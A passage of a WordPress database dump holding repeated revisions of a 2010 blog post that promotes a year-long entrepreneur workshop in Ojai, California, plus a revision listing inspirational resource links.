wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31,2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-33', '', '', '2010-10-22 14:15:23', '2010-10-22 21:15:23', '', 1115, 'http://www.whitehotcenter.com/2010/10/22/1115-revision-33/', 0, 'revision', '', 0),
(1182, 2, '2010-10-22 14:15:49', '2010-10-22 21:15:49', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative,early-stage entrepreneurs.\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31,2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-34', '', '', '2010-10-22 14:15:49', '2010-10-22 21:15:49', '', 1115, 'http://www.whitehotcenter.com/2010/10/22/1115-revision-34/', 0, 'revision', '', 0),
(1183, 2, '2010-10-22 14:16:40', '2010-10-22 21:16:40', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs.\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31,2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-35', '', '', '2010-10-22 14:16:40', '2010-10-22 21:16:40', '', 1115, 'http://www.whitehotcenter.com/2010/10/22/1115-revision-35/', 0, 'revision', '', 0),
(1184, 2, '2010-10-22 14:17:05', '2010-10-22 21:17:05', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31,2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-36', '', '', '2010-10-22 14:17:05', '2010-10-22 21:17:05', '', 1115, 'http://www.whitehotcenter.com/2010/10/22/1115-revision-36/', 0, 'revision', '', 0);
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(1185, 2, '2010-10-22 14:18:21', '2010-10-22 21:18:21', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31,2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-37', '', '', '2010-10-22 14:18:21', '2010-10-22 21:18:21', '', 1115, 'http://www.whitehotcenter.com/2010/10/22/1115-revision-37/', 0, 'revision', '', 0),
(1186, 2, '2010-10-22 14:19:10', '2010-10-22 21:19:10', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31,2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-38', '', '', '2010-10-22 14:19:10', '2010-10-22 21:19:10', '', 1115, 'http://www.whitehotcenter.com/2010/10/22/1115-revision-38/', 0, 'revision', '', 0),
(1187, 2, '2010-10-22 14:01:30', '2010-10-22 21:01:30', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800 and register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" 